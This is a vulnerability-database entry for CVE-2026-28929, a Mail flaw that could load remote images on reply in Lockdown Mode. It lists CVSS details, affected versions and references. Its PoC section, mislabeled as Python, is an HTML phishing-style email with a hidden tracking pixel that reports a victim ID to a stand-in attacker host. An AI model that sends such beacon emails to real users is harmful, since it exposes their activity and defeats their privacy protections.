CVE-2026-28929

Description

A logic issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. Replying to an email could display remote images in Mail in Lockdown Mode.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

iOS < 18.7.9

iPadOS < 18.7.9

macOS Sequoia < 15.7.7

macOS Sonoma < 14.8.7

macOS Tahoe < 26.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-28929
This HTML email template contains a remote tracking image.
When sent to a target device in Lockdown Mode,
if the user replies, the image may be loaded due to the logic flaw.
-->
<!DOCTYPE html>
<html>
<body>
    <h1>Important Update</h1>
    <p>Please review the attached information.</p>
    <!-- Remote tracking pixel -->
    <img src="http://attacker-controlled-server.com/track.php?user=victim_id" width="1" height="1" style="display:none;">
    <p>Regards,</p>
    <p>Security Team</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28929
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28929
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28929/
[4] VulDB https://vuldb.com/cve/CVE-2026-28929
[5] https://support.apple.com/en-us/127111
[6] https://support.apple.com/en-us/127115
[7] https://support.apple.com/en-us/127116
[8] https://support.apple.com/en-us/127117

Raw JSON Data

JSON

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